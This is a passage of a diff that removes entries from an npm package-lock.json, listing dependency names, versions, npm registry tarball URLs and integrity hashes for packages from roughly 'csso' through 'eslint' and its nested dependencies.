"escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "cssnano-util-same-parent": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.0.tgz", - "integrity": "sha1-0qPeEDmqmLxOwlAB+gUDMMKhbaw=", - "dev": true - }, - "csso": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/csso/-/csso-2.3.2.tgz", - "integrity": "sha1-3dUsWHAz9J6Utx/FVWnyUuj/X4U=", - "dev": true, - "requires": { - "clap": "^1.0.9", - "source-map": "^0.5.3" - } - }, - "cucumber-expressions": { - "version": "6.6.2", - "resolved": "https://registry.npmjs.org/cucumber-expressions/-/cucumber-expressions-6.6.2.tgz", - "integrity": "sha512-WcFSVBiWNLJbIcAAC3t/ACU46vaOKfe1UIF5H3qveoq+Y4XQm9j3YwHurQNufRKBBg8nCnpU7Ttsx7egjS3hwA==", - "dev": true, - "requires": { - "becke-ch--regex--s0-0-v1--base--pl--lib": "^1.2.0" - } - }, - "currently-unhandled": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", - "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", - "dev": true, - "requires": { - "array-find-index": "^1.0.1" - } - }, - "cyclist": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", - "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", - "dev": true - }, - "d": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/d/-/d-1.0.0.tgz", - "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", - "dev": true, - "requires": { - "es5-ext": "^0.10.9" - } - }, - "dashdash": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", - "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - } - }, - "date-now": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/date-now/-/date-now-0.1.4.tgz", - "integrity": "sha1-6vQ5/U1ISK105cx9vvIAZyueNFs=", - "dev": true - }, - "dateformat": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.12.tgz", - "integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=", - "dev": true, - "requires": { - "get-stdin": "^4.0.1", - "meow": "^3.3.0" - } - }, - "de-indent": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/de-indent/-/de-indent-1.0.2.tgz", - "integrity": "sha1-sgOOhG3DO6pXlhKNCAS0VbjB4h0=", - "dev": true - }, - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true - }, - "decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", - "dev": true - }, - "decompress-response": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", - "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", - "dev": true, - "optional": true, - "requires": { - "mimic-response": "^1.0.0" - } - }, - "deep-is": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", - "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", - "dev": true - }, - "define-properties": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.2.tgz", - "integrity": "sha1-g6c/L+pWmJj7c3GTyPhzyvbUXJQ=", - "dev": true, - "requires": { - "foreach": "^2.0.5", - "object-keys": "^1.0.8" - } - }, - "define-property": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", - "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", - "dev": true, - "requires": { - "is-descriptor": "^1.0.2", - "isobject": "^3.0.1" - }, - "dependencies": { - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - }, - "kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true - } - } - }, - "defined": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz", - "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", - "dev": true - }, - "del": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/del/-/del-2.2.2.tgz", - "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=", - "dev": true, - "requires": { - "globby": "^5.0.0", - "is-path-cwd": "^1.0.0", - "is-path-in-cwd": "^1.0.0", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "rimraf": "^2.2.8" - } - }, - "delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "dev": true - }, - "delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "dev": true - }, - "deps-sort": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/deps-sort/-/deps-sort-2.0.0.tgz", - "integrity": "sha1-CRckkC6EZYJg65EHSMzNGvbiH7U=", - "dev": true, - "requires": { - "JSONStream": "^1.0.3", - "shasum": "^1.0.0", - "subarg": "^1.0.0", - "through2": "^2.0.0" - } - }, - "des.js": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.0.tgz", - "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" - } - }, - "detect-indent": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz", - "integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=", - "dev": true, - "requires": { - "repeating": "^2.0.0" - } - }, - "detect-libc": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-0.2.0.tgz", - "integrity": "sha1-R/31ZzSKF+wl/L8LnkRjSKdvn7U=", - "dev": true, - "optional": true - }, - "detective": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/detective/-/detective-5.1.0.tgz", - "integrity": "sha512-TFHMqfOvxlgrfVzTEkNBSh9SvSNX/HfF4OFI2QFGCyPm02EsyILqnUeb5P6q7JZ3SFNTBL5t2sePRgrN4epUWQ==", - "dev": true, - "requires": { - "acorn-node": "^1.3.0", - "defined": "^1.0.0", - "minimist": "^1.1.1" - } - }, - "diff": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/diff/-/diff-3.3.1.tgz", - "integrity": "sha512-MKPHZDMB0o6yHyDryUOScqZibp914ksXwAMYMTHj6KO8UeKsRYNJD3oNCKjTqZon+V488P7N/HzXF8t7ZR95ww==", - "dev": true - }, - "diffie-hellman": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.2.tgz", - "integrity": "sha1-tYNXOScM/ias9jIJn97SoH8gnl4=", - "dev": true, - "requires": { - "bn.js": "^4.1.0", - "miller-rabin": "^4.0.0", - "randombytes": "^2.0.0" - } - }, - "doctrine": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", - "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", - "dev": true, - "requires": { - "esutils": "^2.0.2" - } - }, - "doctypes": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz", - "integrity": "sha1-6oCxBqh1OHdOijpKWv4pPeSJ4Kk=", - "dev": true - }, - "dom-serializer": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.1.0.tgz", - "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", - "dev": true, - "requires": { - "domelementtype": "~1.1.1", - "entities": "~1.1.1" - }, - "dependencies": { - "domelementtype": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.1.3.tgz", - "integrity": "sha1-vSh3PiZCiBrsUVRJJCmcXNgiGFs=", - "dev": true - }, - "entities": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.1.tgz", - "integrity": "sha1-blwtClYhtdra7O+AuQ7ftc13cvA=", - "dev": true - } - } - }, - "domain-browser": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", - "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", - "dev": true - }, - "domelementtype": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.0.tgz", - "integrity": "sha1-sXrtguirWeUt2cGbF1bg/BhyBMI=", - "dev": true - }, - "domhandler": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.3.0.tgz", - "integrity": "sha1-LeWaCCLVAn+r/28DLCsloqir5zg=", - "dev": true, - "requires": { - "domelementtype": "1" - } - }, - "domutils": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz", - "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", - "dev": true, - "requires": { - "dom-serializer": "0", - "domelementtype": "1" - } - }, - "dot-prop": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-4.2.0.tgz", - "integrity": "sha512-tUMXrxlExSW6U2EXiiKGSBVdYgtV8qlHL+C10TsW4PURY/ic+eaysnSkwB4kA/mBlCyy/IKDJ+Lc3wbWeaXtuQ==", - "dev": true, - "requires": { - "is-obj": "^1.0.0" - } - }, - "due": { - "version": "0.0.18", - "resolved": "https://registry.npmjs.org/due/-/due-0.0.18.tgz", - "integrity": "sha1-11dpSqWj7A5hBDg4yEzo1x5KLgE=", - "dev": true - }, - "duplexer2": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", - "integrity": "sha1-ixLauHjA1p4+eJEFFmKjL8a93ME=", - "dev": true, - "requires": { - "readable-stream": "^2.0.2" - } - }, - "duplexify": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", - "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", - "dev": true, - "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" - } - }, - "ecc-jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", - "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", - "dev": true, - "optional": true, - "requires": { - "jsbn": "~0.1.0" - } - }, - "editorconfig": { - "version": "0.15.3", - "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz", - "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==", - "dev": true, - "requires": { - "commander": "^2.19.0", - "lru-cache": "^4.1.5", - "semver": "^5.6.0", - "sigmund": "^1.0.1" - }, - "dependencies": { - "commander": { - "version": "2.20.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.0.tgz", - "integrity": "sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==", - "dev": true - }, - "lru-cache": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", - "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", - "dev": true, - "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "semver": { - "version": "5.7.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", - "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==", - "dev": true - } - } - }, - "electron-to-chromium": { - "version": "1.3.50", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.50.tgz", - "integrity": "sha1-dDi3b5K0G5GfP73TUPvQdX2s3fc=", - "dev": true - }, - "elliptic": { - "version": "6.4.0", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.4.0.tgz", - "integrity": "sha1-ysmvh2LIWDYYcAPI3+GT5eLq5d8=", - "dev": true, - "requires": { - "bn.js": "^4.4.0", - "brorand": "^1.0.1", - "hash.js": "^1.0.0", - "hmac-drbg": "^1.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.0" - } - }, - "emojis-list": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", - "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", - "dev": true - }, - "encoding": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", - "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", - "dev": true, - "requires": { - "iconv-lite": "~0.4.13" - }, - "dependencies": { - "iconv-lite": { - "version": "0.4.18", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==", - "dev": true - } - } - }, - "end-of-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", - "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", - "dev": true, - "requires": { - "once": "^1.4.0" - } - }, - "enhanced-resolve": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.3.0.tgz", - "integrity": "sha512-3e87LvavsdxyoCfGusJnrZ5G8SLPOFeHSNpZI/ATL9a5leXo2k0w6MKnbqhdBad9qTobSfB20Ld7UmgoNbAZkQ==", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.5.0", - "tapable": "^1.0.0" - }, - "dependencies": { - "memory-fs": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", - "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", - "dev": true, - "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - } - } - } - }, - "entities": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-1.0.0.tgz", - "integrity": "sha1-sph6o4ITR/zeZCsk/fyeT7cSvyY=", - "dev": true - }, - "err-code": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/err-code/-/err-code-1.1.2.tgz", - "integrity": "sha1-BuARbTAo9q70gGhJ6w6mp0iuaWA=", - "dev": true - }, - "errno": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", - "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", - "dev": true, - "requires": { - "prr": "~1.0.1" - } - }, - "error": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/error/-/error-7.0.2.tgz", - "integrity": "sha1-pfdf/02ZJhJt2sDqXcOOaJFTywI=", - "dev": true, - "requires": { - "string-template": "~0.2.1", - "xtend": "~4.0.0" - } - }, - "error-ex": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.1.tgz", - "integrity": "sha1-+FWobOYa3E6GIcPNoh56dhLDqNw=", - "dev": true, - "requires": { - "is-arrayish": "^0.2.1" - } - }, - "es-abstract": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.12.0.tgz", - "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", - "dev": true, - "requires": { - "es-to-primitive": "^1.1.1", - "function-bind": "^1.1.1", - "has": "^1.0.1", - "is-callable": "^1.1.3", - "is-regex": "^1.0.4" - } - }, - "es-to-primitive": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.1.1.tgz", - "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", - "dev": true, - "requires": { - "is-callable": "^1.1.1", - "is-date-object": "^1.0.1", - "is-symbol": "^1.0.1" - } - }, - "es5-ext": { - "version": "0.10.45", - "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.45.tgz", - "integrity": "sha512-FkfM6Vxxfmztilbxxz5UKSD4ICMf5tSpRFtDNtkAhOxZ0EKtX6qwmXNyH/sFyIbX2P/nU5AMiA9jilWsUGJzCQ==", - "dev": true, - "requires": { - "es6-iterator": "~2.0.3", - "es6-symbol": "~3.1.1", - "next-tick": "1" - } - }, - "es6-iterator": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", - "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", - "dev": true, - "requires": { - "d": "1", - "es5-ext": "^0.10.35", - "es6-symbol": "^3.1.1" - } - }, - "es6-map": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/es6-map/-/es6-map-0.1.5.tgz", - "integrity": "sha1-kTbgUD3MBqMBaQ8LsU/042TpSfA=", - "dev": true, - "requires": { - "d": "1", - "es5-ext": "~0.10.14", - "es6-iterator": "~2.0.1", - "es6-set": "~0.1.5", - "es6-symbol": "~3.1.1", - "event-emitter": "~0.3.5" - } - }, - "es6-object-assign": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", - "integrity": "sha1-wsNYJlYkfDnqEHyx5mUrb58kUjw=", - "dev": true - }, - "es6-promise": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", - "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", - "dev": true - }, - "es6-set": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/es6-set/-/es6-set-0.1.5.tgz", - "integrity": "sha1-0rPsXU2ADO2BjbU40ol02wpzzLE=", - "dev": true, - "requires": { - "d": "1", - "es5-ext": "~0.10.14", - "es6-iterator": "~2.0.1", - "es6-symbol": "3.1.1", - "event-emitter": "~0.3.5" - } - }, - "es6-symbol": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.1.tgz", - "integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=", - "dev": true, - "requires": { - "d": "1", - "es5-ext": "~0.10.14" - } - }, - "es6-weak-map": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.2.tgz", - "integrity": "sha1-XjqzIlH/0VOKH45f+hNXdy+S2W8=", - "dev": true, - "requires": { - "d": "1", - "es5-ext": "^0.10.14", - "es6-iterator": "^2.0.1", - "es6-symbol": "^3.1.1" - } - }, - "escalade": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.0.2.tgz", - "integrity": "sha512-gPYAU37hYCUhW5euPeR+Y74F7BL+IBsV93j5cvGriSaD1aG6MGsqsV1yamRdrWrb2j3aiZvb0X+UBOWpx3JWtQ==", - "dev": true - }, - "escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" - }, - "escope": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/escope/-/escope-3.6.0.tgz", - "integrity": "sha1-4Bl16BJ4GhY6ba392AOY3GTIicM=", - "dev": true, - "requires": { - "es6-map": "^0.1.3", - "es6-weak-map": "^2.0.1", - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" - } - }, - "eslint": { - "version": "4.19.1", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-4.19.1.tgz", - "integrity": "sha512-bT3/1x1EbZB7phzYu7vCr1v3ONuzDtX8WjuM9c0iYxe+cq+pwcKEoQjl7zd3RpC6YOLgnSy3cTN58M2jcoPDIQ==", - "dev": true, - "requires": { - "ajv": "^5.3.0", - "babel-code-frame": "^6.22.0", - "chalk": "^2.1.0", - "concat-stream": "^1.6.0", - "cross-spawn": "^5.1.0", - "debug": "^3.1.0", - "doctrine": "^2.1.0", - "eslint-scope": "^3.7.1", - "eslint-visitor-keys": "^1.0.0", - "espree": "^3.5.4", - "esquery": "^1.0.0", - "esutils": "^2.0.2", - "file-entry-cache": "^2.0.0", - "functional-red-black-tree": "^1.0.1", - "glob": "^7.1.2", - "globals": "^11.0.1", - "ignore": "^3.3.3", - "imurmurhash": "^0.1.4", - "inquirer": "^3.0.6", - "is-resolvable": "^1.0.0", - "js-yaml": "^3.9.1", - "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.3.0", - "lodash": "^4.17.4", - "minimatch": "^3.0.2", - "mkdirp": "^0.5.1", - "natural-compare": "^1.4.0", - "optionator": "^0.8.2", - "path-is-inside": "^1.0.2", - "pluralize": "^7.0.0", - "progress": "^2.0.0", - "regexpp": "^1.0.1", - "require-uncached": "^1.0.3", - "semver": "^5.3.0", - "strip-ansi": "^4.0.0", - "strip-json-comments": "~2.0.1", - "table": "4.0.2", - "text-table": "~0.2.0" - }, - "dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - }, - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": 